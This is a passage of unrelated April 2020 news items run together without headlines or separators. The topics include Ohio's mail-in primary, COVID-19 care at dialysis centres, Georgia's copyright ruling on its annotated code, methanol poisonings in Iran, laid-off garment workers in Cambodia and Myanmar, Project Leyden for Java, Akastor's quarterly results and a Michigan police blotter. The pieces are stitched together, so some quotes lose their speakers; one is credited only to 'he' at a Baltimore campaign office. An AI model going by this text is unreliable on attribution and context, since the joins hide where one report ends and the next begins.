affirming they had not previously requested a ballot. While decisions on provisional ballots arent made until review after election day, its likely these votes wont count, elections officials said. In Union County, near Columbus, at least one voter was denied the opportunity to cast a provisional ballot on Tuesday morning. The countys elections director, Brandon Clay, said elections officials initially had denied them because they hadnt previously requested a ballot. But he said state officials advised them to let voters under this scenario cast provisional ballots, which will be reviewed later. I think there was some confusion about who was allowed to come in this morning, he said. But theyre now being allowed to do that. Another form of ballots are being cast on Tuesday voters with completed ballots are allowed to drop them off physically at their county board of elections, as long as theyre in before a 7:30 p.m. deadline. Secretary of State Frank LaRose, during Gov. Mike DeWines Tuesday coronavirus briefing, said 1.9 million absentee ballots have been requested, while 1.5 million have been cast. He said more are coming in Tuesday the U.S. Postal Service said 17,000 are on their way to the Cuyahoga County Board of Elections while 10,000 are on their way to Hamilton County. Were hearing numbers like that from around the state. And were hearing people are lining up in their cars to come and drop their ballots off at the secure dropbox at their county board of elections, LaRose said. If your ballot is sitting on your kitchen table, we want to hear your voice. Votes will be counted tonight and reported by 10 p.m. However, elections officials will wait 30 days before certifying the results as they wait for additional ballots to be delivered. Mailed ballots will only be accepted if they are postmarked April 27 or earlier. People who voted before the March 17 Election Day was canceled over coronavirus concerns dont need to vote again. The extended voting period is meant to make up for those who had planned to vote in person but couldnt. Former BHP chief executive Chip Goodyear has called for countries to set aside divisions and build closer global ties in the wake of the coronavirus crisis as a blame game over the outbreak threatens to inflame Australian and US tensions with China. Mr Goodyear, who ran Australia's top miner through the early 2000s and now chairs the company's charitable organisation, said there was "no playbook" on how to navigate the path through the unprecedented emergency, but the critical lesson for government and business leaders was the need to strengthen co-operation and communication. Former BHP boss Chip Goodyear chairs the mining giant's philanthropic foundation. Credit:Jason South "Something you've seen around the world over the last several years is there is a sense of more antagonism and more disruption, and we simply need to get through that," he told The Age and Sydney Morning Herald. "And this [pandemic] may be the catalyst for people to say, 'You know what, actually we are all in this thing together'." The Sapele Correctional Service Centre has reportedly been set on fire yesterday by Inmates. Naija News learnt that this occurred because 25 inmates were granted amnesty by the state government, but only three persons have been released. Another contributing factor was an alleged lack of food and water in Sapele Local Government Area of Delta State. The inmates around 8 am were said to have protested over poor welfare situation in the correctional centre. Source say that security agencied ensured that none of the inmates escaped. . A source said, No inmate escaped, but the inmates are angry because they are not taken care of adequately. The Sapele Correctional service has been set on fire by prisoners who said they lack food and water. . They also said 25 inmates were granted amnesty by the state government, but only three persons have been released, why others are yet to be released. . The Senior Special Adviser on Security Matters to the Governor and Chairman of the LG, Hon Eugene Inoaghan, are at the centre to calm the inmates Share this post with your Friends on Quarantining is not an option for patients with chronic kidney disease. Those on dialysis are already susceptible to infection, so seeking treatment during the coronavirus pandemic adds another layer of concern. "The one thing we can say is without dialysis, they will die. They dont have the choice of not having dialysis, said Phyllis Hicks, executive director of the Kidney Foundation of Central Pennsylvania. Because dialysis patients live in fear of secondary infections, which can result in complications and hospital stays, dialysis centers operate under the assumption every patient could be infected with COVID-19. In healthcare, you always prepare as though every patient might have possibly been exposed, Hicks said. The foundation oversees 28 counties in central Pennsylvania, serving about 4,500 dialysis patients at 79 centers. It also provides education and advocacy, as well as services and support to people and families impacted by kidney disease. Hick said the foundation is recommending patients wear masks and gloves and carry hand sanitizer to appointments during the pandemic. Many centers operate with large rooms of chairs, where patients sit near one another for the treatments that filter toxins from their blood. When the pandemic began, concerns were raised about how dialysis centers would keep patients and employees safe. Centers are taking aggressive steps to ensure safety. Health care providers, the Centers for Disease Control and Prevention, and two of the nations for-profit companies, DaVita Kidney Care and Fresenius Kidney Care, quickly developed ways to separate well patients from infected ones, according to the Washington Post. Shannon Novosad, acting team lead for the CDCs dialysis safety team, told the news site the centers may have to fill fewer seats to enforce six feet of distance between people receiving treatment. READ MORE: By nature of how dialysis works, many of the same protocols used for coronavirus are the standard practice at dialysis centers, Hicks said, adding workers have always worn gowns and gloves. Now centers have stepped up measures by restricting visitors and requiring employees and patients to wear surgical masks. For us, this new normal is a continuation of our normal. It is not completely new to us, but we are adapting to the needs of our patients and their families, Hicks said. DaVita centers are restricting visitors, screening those who enter its centers and requiring everyone wear surgical masks, said Mandy Hale, vice president of nursing for DaVita Kidney Care. The company requires employees use masks, gowns and gloves and practice careful hand hygiene. DaVita operates several centers in the central Pennsylvania region. Nationally, some of the centers are treating COVID patients, Hale said, adding due to privacy issues she cant share the locations or how many patients or staff have become infected. Hicks said under the Health Insurance Portability and Accountability Act, centers dont always know if patients have tested positive for the virus. Some of the first documented cases of coronavirus were dialysis patients in Washington state, which Hicks said sent shockwaves through the dialysis community. For many of our folks, whats scary about [coronavirus] is they dont know whom might have it, so thats an issue, she said. In addition, the number of patients on dialysis is climbing as another crisis has emerged, an unexpected surge of COVID patients with kidney failure. It has led to some concerns about possible shortages of dialysis machines, supplies and staff. It remains to be seen yet if centers will feel an impact moving forward, Hicks said. But she stressed right now centers have enough machines. Both DaVita and Fresenius claim they have had no significant outbreaks to date, according to the New York Times. Fresenius told the Times less than half of 1 % of its patients and staff have tested positive for the virus, while DaVita would not say how many staff and patients have been infected. DaVitas Hale said some of its COVID patients have been hospitalized while others continue to seek dialysis at centers. To facilitate treatment, she said centers are isolating COVID patients from those who are not infected to ensure a safe treatment environment. Not only is our focus on protecting the health and safety of our patients and caregivers, but we also want them to feel safe," she added. She stressed the goal is to keep all patients out of the hospital. Our hope is to treat those patients in the outpatient setting if we can, to leave hospital beds open for the system, Hale said. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. "I want all of you to know from day one all of my energy, attention and focus will be on using science, data and common sense to help get our nation through this dark hour in our history," he said at his campaign headquarters in Baltimore Tuesday night, speaking to reporters who were seated at least six feet apart. "Our work in Congress must be to make sure doctors, nurses, health care professionals and first responders have what they need to do their jobs." Georgia is known for a good many things. They have peaches, charm, naked cowboy burglars. But, one thing you can add to the bad list is trying to put their state laws behind a paywall. Yes, Georgia claimed to own the copyright for the Official Code of Georgia Annotated and sued Public.Resource.org for publishing it online. It's the type of move that comes straight out of the Evil Villain Handbook, or at least we think it is, as Georgia is charging us $9.95 a month to read it. Fortunately for any citizens of Georgia that are looking to abide by laws, the Supreme Court ruled in a 5-4 decision (surprisingly bipartisan as both Ginsberg and Thomas were among the dissenters) that no legal document could be held under copyright. As Chief Justice John Roberts puts it: "Officials empowered to speak with the force of law cannot be the authors of-and therefore cannot copyright-the works they create in the course of their official duties." Now, if you wanted to get pedantic about it, and why not, we've got all day here, you would point out that Georgia wasn't actually looking to copyright their laws, only the annotated version provided by LexisNexis, which the state pays them to produce. The problem is that the state doesn't publish any official version of the law other than the one provided by Lexus Nexus. It'd be like if Moses refused to show you the Ten Commandments unless you paid to hear the book of slam poetry he had attached. The Food and Drug Administration has asked hand sanitiser manufacturers to make the product less appealing to drink, especially for children. "It is important that hand sanitiser be manufactured in a way that makes them unpalatable to people, especially young children, and that they are appropriately labelled to discourage accidental or intentional ingestion," FDA Commissioner Dr Stephen Hahn said in a statement. "Hand sanitisers are not proven to treat Covid-19, and like other products meant for external use, are not for ingestion, inhalation, or intravenous use," he added. This statement was released after President Donald Trump made the news for questioning whether injecting Covid-19 patients with disinfectant could work as a "cleaning" of the body from the virus. Mr Trump later claimed he was being "sarcastic" about the suggestion. "I was asking a question sarcastically to reporters, like you, just to see what would happen," he said. "When I was asking a sarcastic a very sarcastic question to the reporters in the room about disinfectant on the inside, but it does kill it, and it would kill it on the hands and that would make things much better. That was done in the form of a sarcastic question to a reporter," he continued. But it sparked companies like Lysol to release public statements imploring its customers to not ingest their cleaning products as a way to kill the novel virus. Calls of people enquiring about ingesting disinfectant and bleach increased in some areas including Maryland and New York. Hand sanitiser manufacturers were encouraged to add denatured alcohol into their products to make it taste bitter, which would ideally discourage anyone from drinking the liquid. Demand for hand sanitiser rose in recent months amid the coronavirus pandemic, with Americans relying on the product as one method to kill the novel virus. But unintentional exposure to the liquid has also increased. The FDA said calls to the National Poison Data System in March relating to hand sanitiser went up by 79 per cent compared to 2019. A majority of these calls were of unintentional exposure to children five years old or younger. New York, April 28 : One in four residents of New York City - or 2.1 million people - have been infected with the noverl coronavirus, according to the state Governor Andrew Cuomo. The number is far higher than the 291,996 cases officially recorded and it means the other 1.8 million people were asymptomatic - did not show symptoms - or had only mild symptoms. Cuomo said on Monday that the 24.1 per cent estimate of the people infected with COVID-19 was based on anti-body testing for the presence of virus-fighters in the bloodstream that would show that a person has had the disease. The higher number, however, does not figure in the national total of 988,451 cases as of Monday night as it is only an estimate calculated on the basis of a sample study. On April 23, Cuomo had put the number of New Yorkers who had been infected at about one in five or 22.1 per cent based on a sample of 3,000 people. He said the estimate had been increased after 4,500 more samples were taken around the city brining the total to 7,500, "a very significant number" that "gives us a snapshot of where we are". The estimate shows the high risk of the huge number of silent carriers of the coronavirus spreading the disease. The higher number also lowers the death rate of the infected people. The larger number of people who have recovered from COVID-19 could influence decisions on opening up the city and state as according to some scientists they may have developed immunity to the disease. The World Health Organization has said that there was no evidence that those who have had COVID-19 were immune to it. Cuomo said the state would provide anti-body tests to all medical personnel and front-line workers like police and transportation personnel to find out if they have had it and may be immune to it. (Arul Louis can be contacted at arul.l@ians.in and followed on Twitter @arulouis) Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text Its hard to believe only four nesting pairs of bald eagles called Ohio home in 1979. The most recent nest census confirmed there are 707 bald eagle nests within the state a 151% increase from 2012. Ironically, my dad has been telling me for at least three weeks that he believes a bald eagle has built a nest on his property. If hes right (he usually is), this spring is the first weve noticed. My dad and my daughter, Vayda, first thought it was a possibility when they heard a distinct throaty chatter coming from the wood bordering my parents side yard. Weve since observed a very large bird flying overhead. However, we havent gotten a good enough look to confirm our new neighbors identity. Where to look Its hard to say whether or not dad and Vayda are onto something without a better look or proof of a nesting site, but the conditions at my parents property are in line with those of the birds preferred habitat. Dad built his house right on the edge of a flood zone and after years of anecdotal evidence, Ive confirmed this via FEMAs Flood Map Service Center. The backyard is considered a flood zone because when it rains a lot, the creek, running through it, overflows. However, his vision has held up for 20 years because he also built his house on a hill, out of reach of the creeks higher water level after a storm. Other than the site of the house and the patches of grass that make up the side and front yards, the property is pretty wet year-round. The all-the-way front of the property, boarding the road, has five or six natural springs. The rear of the property the woods behind the side yard to the south are usually saturated, as they are lower in elevation and protected by the canopy of the trees. Surrounding the hill dad built his house on, its pretty swampy and inviting to a variety of aquatic life, birds and mammals. Additionally, West Branch State Park, Berlin Lake and Lake Milton are all within 15 miles of my parents property, with West Branch Reservoir being the closest only 4 miles away. Between the on-site amenities and the larger bodies of water nearby, it could work for a bald eagle family. Bald eagles can be found in marshes, swamps and river systems throughout Ohio. They tend to nest in somewhat secluded sites near sizable bodies of water, choosing these locations to be close to food sources and to maintain their space from other bald eagles, particularly when a nest is being established and young are being raised. In Ohio, bald eagle nesting sites are most prevalent in the marsh region of western Lake Erie. The counties with the most bald eagle nests are Ottawa (90), Sandusky (50), Erie (32), Trumbull (26), Seneca (24), Wyandot (19), Lucas (18), Licking (17), Ashtabula (16), Knox (16), Mercer (16) and Wood (16). The Ohio Department of Natural Resources recommends the following locations for the best viewing opportunities if youre not lucky enough to have bald eagles for neighbors: Magee Marsh Wildlife Area, Lucas and Ottawa counties Killbuck Marsh Wildlife Area, Wayne County Mosquito Creek Wildlife Area, Trumbull County Pickerel Creek Wildlife Area, Sandusky County Ottawa National Wildlife Refuge, Lucas and Ottawa counties Killdeer Plains Wildlife Area, Wyandot and Marion counties Near major rivers such as the Muskingum, Hocking, Scioto and Great Miami in southern Ohio. From personal experience, I know that West Branch State Park (Portage County) is another great location to view bald eagles. If you dont live near one of these recommended sites, marshes and swamps on the outskirts of larger bodies of water may be a good place to start looking. However, if youre going to look for them or visit known nesting locations, take care not to disturb them or interfere. Although they are no longer listed as state or federally endangered or threatened, they are still protected by the federal Bald and Golden Eagle Protection Act and state law. When viewing bald eagles, remember to respect their space and stay at least 100 yards away from the bird or nest. Related Content Resources Long-term Java pain points including slow startup time, slow time to peak performance, and large footprint would be addressed by a proposal being floated in the OpenJDK community by Mark Reinhold, chief architect of Oracles Java platform group. Called Project Leyden, the proposal would deal with these pain points by introducing the concept of static images to the Java platform and the JDK. A static image is a standalone program, derived from an application that runs that application, and no other. A static image is also a closed world that cannot load classes from outside the image or spin new bytecodes at runtime. These two constraints enable build-time analyses that can remove unused classes and identify initializers that can be run at build time, thus reducing both the size of the runtime image and its startup time. These constraints also enable aggressive ahead-of-time compilation, thereby reducing the images time to peak performance. Reinhold cautioned, though, that static images are not everyone, due to the closed-world constraint, nor are they for every type of application. Often, static images require manual configuration to achieve the best results. We do, however, expect the results to be worthwhile in important deployment scenarios, such as small, embedded devices and the cloud, Reinhold wrote. Taking inspiration from past efforts to explore the space, including the GNU Compiler for Java and the Native Image for GraalVM, Project Leyden would add static images to the Java Platform Specification. It is expected that GraalVM will evolve to implement that specification. Developers using only the standard, specific static-image feature would then be able to switch easily between Leyden in the JDK, Native Image in GraalVM, and other conforming implementations that may arise. They can choose among tradeoffs of compile time, startup time, and image size. Reinhold, who would lead the project, advised that there was no intent to implement Leyden by merging Native Image code from GraalVM into the JDK. Rather, Leyden would be based upon existing components in the JDK such as HotSpot JVM, the Java ahead-of-time compiler (jaotc), application-class data sharing, and the jlink linking tool. Reinhold launched discussion of the project on April 27. Initial feedback on the project expressed on an OpenJDK mailing list was mixed, with one person suggesting it would be difficult to add static images to the Java Platform Specification, while also remarking that the project was interesting and welcome. Another person said he was happy to see the proposal, because the time required to optimize performance and memory footprint has been the primary user complaint when using Java for microservices. Another commenter said it seems like the right time for such a project. Project Leyden would begin with a clone of the current JDK mainline release, JDK 15, and track mainline releases moving forward. Leyden would be delivered via a series of JEPs (JDK Enhancement Proposals) that would likely span multiple releases. OSLO, Norway, April 28, 2020 /PRNewswire/ -- Highlights Revenue NOK 1 424 million 424 million EBITDA NOK 137 million EBITDA margin 9.6 percent Order intake NOK 1 137 million 137 million Order backlog NOK 3.0 billion Net interest-bearing debt NOK 1.4 billion Akastor CEO Karl Erik Kjelstad comments: "Although we are generally pleased with the first quarter results for our industrial holdings, key focus for Akastor now is the current market turmoil and how we best secure our portfolio companies and investments going forward. The COVID-19 pandemic and the market turmoil will impact 2020 results negatively for all portfolio companies, but it is too early to provide any precise estimates as to the total financial effects that this will have. All portfolio companies have implemented cost cuts such as permanent and temporary lay-offs and have prepared road maps for different future scenarios which seeks to continuously adjust business operations and activity level with market development." Akastor reported revenues of NOK 1 424 million in the first quarter, an increase of 33 percent year-on-year. Earnings before interest, taxes, depreciation and amortization (EBITDA) were NOK 137 million, compared with NOK 92 million a year earlier. EBITDA margin in the quarter was 9.6 percent. Net interest-bearing debt (NIBD) was NOK 1.4 billion, increased by NOK 697 million in the quarter mainly driven by increased working capital in MHWirth and non-cash FX effects of NOK 331 million on foreign currency debt. MHWirth MHWirth reported revenues of NOK 1 154 million in the quarter, an increase of 20 percent year-on-year. EBITDA for the first quarter was NOK 136 million, giving an EBITDA margin of 11.8 percent. Step Oiltools was transferred and consolidated in MHWirth from the first quarter. Revenues from Projects & Products grew 13 percent compared with last year, driven by progress on larger projects. Uncertainty related to the market outlook has increased during the quarter due to lower oil price and continued rig overcapacity, affecting investment level of key clients. Drilling Lifecycle Services & Digital Technologies revenues were NOK 620 million in the first quarter, an increase of 27 percent compared to last year. The key driver for this segment is the development in number of active rigs with MHWirth equipment, with more uncertainty going forward following recent market turmoil. MHWirth saw a continued high activity level during the quarter within Digital Technologies, with focus on deliveries on existing contracts. AKOFS Offshore AKOFS reported revenues of NOK 304 million in the first quarter. The EBITDA for the first quarter was NOK 175 million, giving an EBITDA margin of 58 percent. Both vessels in Brazil had high revenue utilization in the quarter. Skandi Santos will continue operation for Petrobras until end of November 2020. The ongoing AKOFS Seafarer upgrade project is in its final phase, with planned contract commencement ultimo 2Q 2020, however with potential risk for delay due to the COVID-19 situation. Other industrial holdings AGR and Cool Sorption continue to deliver positive results with a total revenue and EBITDA of NOK 260 million and NOK 18 million, respectively. Financial holdings Contributions from financial investments were negative NOK 254 million in the quarter. Awilco Drilling and the preferred equity in Odfjell Drilling contributed negatively with NOK 32 million and NOK 51 million, respectively. An impairment of NES Global Talent of NOK 104 million was booked in the quarter as a result of adjusted short-term earnings estimates. DOF Deepwater contributed negatively with NOK 71 million mainly due to foreign exchange losses. Financial calendar Second Quarter and Half Year Results 2020: July 16, 2020 This press release may include forward-looking information or statements and is subject to our disclaimer, see https://akastor.com This information is subject of the disclosure requirements pursuant to section 5-12 of the Norwegian Securities Trading Act. Media and investor contact yvind Paaske Chief Financial Officer Tel: +47-917-59-705 E-mail: [email protected] This information was brought to you by Cision http://news.cision.com https://news.cision.com/akastor-asa/r/akastor-asa--first-quarter-results-2020,c3098077 The following files are available for download: https://mb.cision.com/Public/18618/3098077/b6e7e31775a81c15.pdf Akastor ASA 1Q 2020 presentation SOURCE Akastor ASA A medical official (R) wears a protective suit, amid concerns over the spread of the coronavirus, as she conducts a physical examination on a migrant worker at a school in Phnom Penh, April 20, 2020. Workers in Cambodia and Myanmar are facing severe hardships as the spread of the coronavirus decimates their countrys economies and causes widespread factory closures, prompting them to take to the streets to demand assistance from their governments. In Cambodia, where the number of confirmed cases of COVID-19the disease caused by the coronavirushas held at 122 with no deaths in recent weeks, more than 100 workers held a protest in front of the Hulu Garment factory in the capital Phnom Penh on Monday demanding full benefits following a suspension of operations on March 24 due to a decrease in orders from international retailers. The workers, representing around 10 percent of employees, have been protesting since April 22except for a break during the weekendafter factory management a day earlier informed them that the facility would close down for good and asked them to quit with the promise of some, but not all, of their benefits. Worker Heoun Hak told RFAs Khmer Service that she and other employees are demanding that the factory inform them whether the closure will be permanent, noting that if so, management would be required to pay them full benefits, in accordance with a government order. RFA was unable to reach representatives of Hulu Garment on Monday, but Labor Ministry spokesman Heng Sour told local media that workers should report to the ministry if the factory does not pay them their full benefits. Heng Sour said at a press conference on Monday that if the spread of the coronavirus is not halted in the countries that are home to Cambodias textile buyers by June, our workers will have to find other kinds of employment, including potentially in the agricultural sector, as proposed by Prime Minister Hun Sen, although he added that the government has also prepared vocational training programs. Earlier this month, Hun Sen told workers that they would only receive U.S. $70 in monthly wages if they are laid off by factories hit with supply chain disruptions and a lack of orders due to the outbreak, instead of the U.S. $115or 60 percent of their wagesthey were promised by the government in February. Heng Sour said Monday that more than 130 factories have already asked to suspend operations due to the virus, which he estimated would result in some 100,000 workers becoming unemployed. He urged factory owners to suspend operations rather than close down their businesses for the sake of the countrys workers. Vice President of the Free Trade Union Workers of the Kingdom of Cambodia Mann Seng Hak told RFA that his organization also wants factories to temporarily shut down instead of close for good to prevent unemployment, and called on the government to provide assistance to both owners and their workers. Call for debt suspension Meanwhile, 135 nongovernmental organizations and rights groups issued a joint statement on Monday calling for the suspension of all microfinance debts, including interest accrual, and the return of millions of land titles to the public for at least three months amid the outbreak. These actions are necessary to ensure that people are able to survive this crisis without risking their health or homes and are able to avoid further risky loans that could lead to bonded labor, human trafficking and other human rights abuses, the statement said. More than 2.5 million Cambodians currently hold microloans, with an average loan of more than U.S. $3,800, according to the groups. Calls by RFA to Chea Chanto, the governor of the National Bank of Cambodia (NBC), went unanswered Monday, while his daughter Chea Serei, who is the NBCs director-general, told RFA she was in a meeting and unable to answer questions about the joint statement. On Mar 27, the NBC issued several measures advising banking and microfinance institutions to consider temporary deferment of debt payments for clients from the tourism, garment, construction, and transportation sectors. Myanmar activists prosecuted In Myanmar, where authorities have identified 146 cases of COVID-19 that have led to five deaths, authorities are prosecuting around 70 labor activists and workers for organizing strikes while social distancing orders are in effect to help control the spread of the virus. Violations of the Natural Disaster Act used to enforce social distancing regulations are punishable by a fine, one year in prison, or both. Workers and some of the activists who are being targeted for organizing the strikes told RFAs Myanmar Service on Monday that factory owners are also operating in violation of the act but are not being held accountable by authorities. During the coronavirus epidemic, we have been working too close to each other, said worker Ko Wai Phyo. The government also has sided with factory ownersits very unfair. Factory owners have broken the workers laws, labor activist Ko Myat Kyaw told RFA. There were negotiations between workers and owners [to improve conditions], but they failed. In the end, the workers and activists were prosecuted under the Natural Disaster Act. Meanwhile, more than 62,000 workers have been laid off in Myanmar as factories and companies shut down across the country due to the outbreak, Myo Aung, the permanent secretary of the Ministry of Immigration and Population, said Monday. He said the ministry will provide a social welfare package to laborers who have lost their jobs in two phases, without elaborating. Living on credit But laid off workers living in urban areas told RFA that they can no longer afford to pay their rent, even as they are restricted from traveling back to their hometowns as part of a lockdown order to help halt the outbreak in Myanmar. They end up building and staying in makeshift tents near the hostels they previously stayed in, although some have begged the hostel owners to let them stay on credit, said Than Than Soe, a worker from the Hlaing Thar Yar Industrial Zone in Yangon. Theyve ended up in very miserable conditions. I myself have applied for jobs at some factories that have opened, but they rejected me saying they have their own workers to hire back and will not hire new workers any time soon. They said they cannot even take back all the regular staff and have had to let some go. Wai Wai Aung, a laborer from Ayeyarwaddy region who lost her job in Yangon, said she has been forced to survive by borrowing money and paying for food and accommodation on credit. Both income generators in the family have lost their jobs and we are now spending borrowed money for food, let alone paying the rent, she said. I dont see anyone receiving government relief in my neighborhood. The ward administrators have collected some information, but they are picking households at random and only listing people they are familiar with ... Ive had to beg our landlord to wait for another month for rent. Kha Kha, the labor dispute coordinator at rights group Lets Help Each Other (LHEO), told RFA workers are struggling to make ends meet, noting that many families work odd jobs to survive while sending one or two children to work at the factories, who have since been laid off. We want to know how the government plans to help these people who have lost their jobs, he said. They could end up working in illegal businesses, which could lead to an increase in crimes like theft or human trafficking. I am also concerned about a potential increase in domestic violence against female laborers. The European Union recently donated 5 million euros (U.S. $5.4 million) to assist textile laborers who have lost their job as a result of the coronavirus outbreak and Confederation of Trade Unions Myanmar (CTUM) chairman Maung Maung told RFA his organization plans to begin distributing the cash in May. Reported by RFAs Khmer Service and by Phyu Phyu Khine and Aung Thane Kha for RFAs Myanmar Service. Translated by Sok Ry Sum, Ye Kaung Myint Maung, and Maung Maung Nyo. Written in English by Joshua Lipes. More than 700 people in Iran have died after ingesting toxic methanol because false rumours it helps cure the coronavirus, officials have said. In a desperate search for a curative, many families have turned to fake remedies spread across social media including a powerful form of bootleg alcohol banned in the Islamic Republic. Iranian health ministry spokesman Kianoush Jahanpour said that 525 people have died in hospital from swallowing toxic methanol alcohol since 20 February, state TV reported on Monday. An adviser to the ministry, Hossein Hassanian, told the Associated Press another 200 or so alcohol poisoning victims died outside of hospital. Alcohol poisoning has skyrocketed in Iran amid the coronavirus pandemic, according to a government report released earlier in April. The national coroners authority said that alcohol poisoning killed 728 Iranians between 20 February and 7 April. Last year there were only 66 deaths from alcohol poisoning, according to the report. The health ministry spokesman said that a total of 5,011 people across Iran had been poisoned from methanol alcohol since mid-February. Mr Jahanpour added that 90 people have lost their eye sight or are suffering eye damage from the alcohol poisoning. Dr Hassanian also said the final tally of people who lost their eye sight could be much higher. We are fighting on two fronts here, the ministry adviser said last month. We have to both cure the people with alcohol poisoning and also fight the coronavirus. Iran is facing the worst coronavirus outbreak in the Middle East. The death toll in Iran from the coronavirus pandemic rose by 71 in the past 24 hours to 5,877, health ministry spokesman said on state TV on Tuesday. The consumption of alcohol is generally prohibited in Iran. However, minority Christians, Jews and Zoroastrians are allowed to drink alcoholic beverages in private. Iran also currently some 40 alcohol factories that have been allocated permits for pharmaceutical and sanitising items. The Iranian government mandates that manufacturers of toxic methanol add an artificial colour to their products so the public can tell it apart from ethanol, the kind of alcohol that can be used in cleaning wounds. Some bootleggers in Iran use methanol, adding a splash of bleach to mask the added colour before selling it as drinkable. Methanol, which cannot be smelled in drinks, causes delayed organ and brain damage. Symptoms include chest pain, nausea, hyperventilation, blindness and even coma. Public health authorities around the world have struggled to combat a variety of false and dangerous information about the coronavirus and potential cures spread online since the beginning of the outbreak. Arguably some leaders have contributed to the misinformation. US president Donald Trump speculated on whether patients could be injected with disinfectant, while Belarusian president Alexander Lukashenko erroneously advised that drinking vodka would help poison the disease. Additional reporting by agencies Gov. Greg Abbott sent Texans into a tizzy Monday afternoon as he announced that stay-at-home orders will expire by week's end. Starting Friday, businesses like dine-in restaurants, movie theaters, malls and retail stores will be allowed to reopen under a 25 percent occupancy limit. Abbott said the Phase 1 edict gives businesses the go ahead to open, but does not require owners to do so. The governor said the reopening of Texas will be "strategic" and if data shows no flare ups for two weeks after Phase 1 goes into effect, the state can move into the second phase on May 18. The following list includes recent reports from the Midland County Sheriff's Office and the Midland Police Department. Compiled by reporter Mitchell Kukulka. Friday, April 24 11:47 p.m. -- Deputies were dispatched to a Jerome Township residence in reference to a domestic assault. A 32-year-old Porter Township woman reported she was assaulted by her 52-year-old ex-roommate. The woman left the residence. This report will be sent to the Midland County Prosecuting Attorney's Office for review. 10:58 p.m. -- A deputy made contact with a Saginaw County man who said a travel trailer of his went missing a couple years ago and he had located it. Contact was made with the subject who had the trailer, who agreed to return the camper to the rightful owner. 10:41 p.m. -- Officers responded to an assault in the 5000 block of Fransworth Drive. 9:33 p.m. -- Officers responded to a vehicle crash in the area of Sturgeon Avenue and City Forest Estates Drive. 9:07 p.m. -- A deputy responded to an area in Homer Township for a report of an explosion. The deputy searched the area and did not locate the source. A deputy stayed in the area and did not hear another explosion. 8:35 p.m. -- A deputy was dispatched to the area of North Meridian Road and East Isabella Road in reference to a two-vehicle crash. 7:44 p.m. -- Deputies responded to a two-vehicle crash in Jerome Township. 4:46 p.m. -- A 24-year-old woman reported a scam after creating an online Sugar Daddy account with an unknown subject. The woman was instructed to provide the unknown subject her Dow Chemical Employees Credit Union bank account information so that checks could be placed into her account. Two separate checks totaling approximately $4450.11 were deposited into the woman's account, then immediately withdrawn by the unknown subject prior to the bank recognizing that the electronic checks were bogus. The woman was also directed to send money to unknown subjects through Apple Pay and Cashapp again promising the woman additional funds placed into her bank account at a later date. The woman later received a telephone call from the banking institution advising of the scam. The woman reported that she was not out any money financially as a result of the incident. There are currently no suspects. 4:46 p.m. -- Deputies and Michigan State Police motor carriers searched a Lee Township location for a juvenile runaway. The juvenile was located shortly after dispatch, and returned to his parents. All parties were advised of potential consequences. 3:54 p.m. -- A deputy responded to a delayed report of criminal sexual conduct involving a minor. This report is under investigation. 2 p.m. -- Officers responded to a hit-and-run crash in the area of 7300 block of Eastman Avenue. 10:44 a.m. -- A deputy responded to a vehicle crash in Homer Township. 10:29 a.m. -- A 46-year-old Saginaw woman called regarding her mother and boyfriend who live in Lincoln Township. The woman was concerned about possible inappropriate behavior and how they act around her 13-year-old daughter. The woman was seeking options on how to proceed with her relationship and options were discussed with the woman. 8:08 a.m. -- A deputy assisted Midland Police with searching for an elderly man that walked away from his residence. Officers and deputies located the man shortly after being dispatched. 5:02 a.m. -- A deputy was dispatched to an Edenville Township residence in reference to the complainant reporting that her 15-year-old daughter had left at some point during the night. As deputy was on scene, the girl returned. The complainant said that she found six unknown pills in her daughter's bedroom when she searched it. The pills were collected and will be sent to the lab for analysis. 5:02 a.m. -- Deputies spoke with a 31-year-old Hope Township woman in reference to a civil dispute she was having with her 35-year-old live-in boyfriend involving him unlawfully taking her vehicle from their Hope Township residence. The woman said her boyfriend refused to return her vehicle. The man sent suicidal text messages to the woman during the course of their argument. Deputies attempted to locate the man to check his wellbeing at his last known location, a residence in Edenville Township. The man and vehicle were gone on arrival. Central Dispatch issued a lookout order for the man and the vehicle after attempts to locate the male were unsuccessful. The report will be sent to prosecuting attorney for review for possible charges. 12:25 a.m. -- A deputy was dispatched to state property in Lincoln Township in reference to a possible small gathering/bonfire and a violation of the governor's stay-at-home executive order. The complainant saw a picture on social media, with three subjects around a bonfire. The subjects at the bonfire were gone upon arrival, but the deputy conducted a traffic stop on a non-related vehicle at the entrance of the state property. The 20-year-old, 19-year-old, and 16-year-old boys were given a verbal warning and said they will be heading straight home. Thursday, April 23 4:37 p.m. -- A 62-year-old woman was a victim of a possible online fraud. The woman posted an ad online notifying the community she lost her cat. An unknown person responded, requesting demands be met and the woman would get her cat back. The subject used email and an Text/Talk app phone number. The woman did not provide any financial information, and was advised to contact the Midland County Humane Society regarding her lost cat. 4:31 p.m. -- A 72-year-old Geneva Township man reported that someone opened a credit card in his name and charged $2,100 to the account. The man is currently working with the credit card company and was advised that the account was now closed and he will not be responsible for the fraudulent charges. 3:22 p.m. -- Deputies responded to a Midland Township location for a 17-year-old boy and his 18-year-old brother having a verbal dispute. The 18-year-old was having suicidal thoughts. Deputies transported the 18-year-old to the MidMichigan Medical Center-Midland ER, where a petition for a mental health evaluation was completed. 2:53 p.m. -- Officers responded to a vehicle crash in the 4500 block of North Saginaw Road. 2:38 p.m. -- Officers responded to a larceny in the 2900 block of Dartmouth Drive. 10:44 a.m. -- Animal Control received a report from MidMichigan Urgent Care in reference to a Midland resident being bitten by her own dog. An isolation notice was issued. 10:42 a.m. -- Officers responded to a report of malicious destruction of property in the 1400 block of Swede Avenue. 9:08 a.m. -- A deputy responded to a Lincoln Township residence for a delayed report of a car-deer crash. 7:58 a.m. -- Officers responded to a vehicle crash with a pole in the 2600 block of Abbott Road. 7:53 a.m. -- Officers responded to a car-deer crash in the area of Waldo Avenue and Eastlawn Drive. 12:17 a.m. -- A deputy was dispatched to the MidMichigan Medical Center-Midland and spoke with a 19-year-old boy in reference to an assault that occurred in Edenville Township. The boy said he was assaulted by his 52-year-old uncle and his 28-year-old male cousin. The boy did not wish to pursue charges against his uncle and cousin. Bord Bia's proposed Farm Sustainability Platform will add nothing to beef and tillage farmer incomes, farm organisations have claimed. ICSA beef chairman Edmund Graham said farmers will not co-operate with the initiative until beef prices get back up to a viable level of over 4/kg. Reports of a farm climate credit scheme as part of the Bord Bia initiative would mean more bureaucracy for farmers without any extra income, he said. And the Irish Grain Growers (IGG) group claimed that the initiative will not lift tillage farmers' incomes unless climate credits are 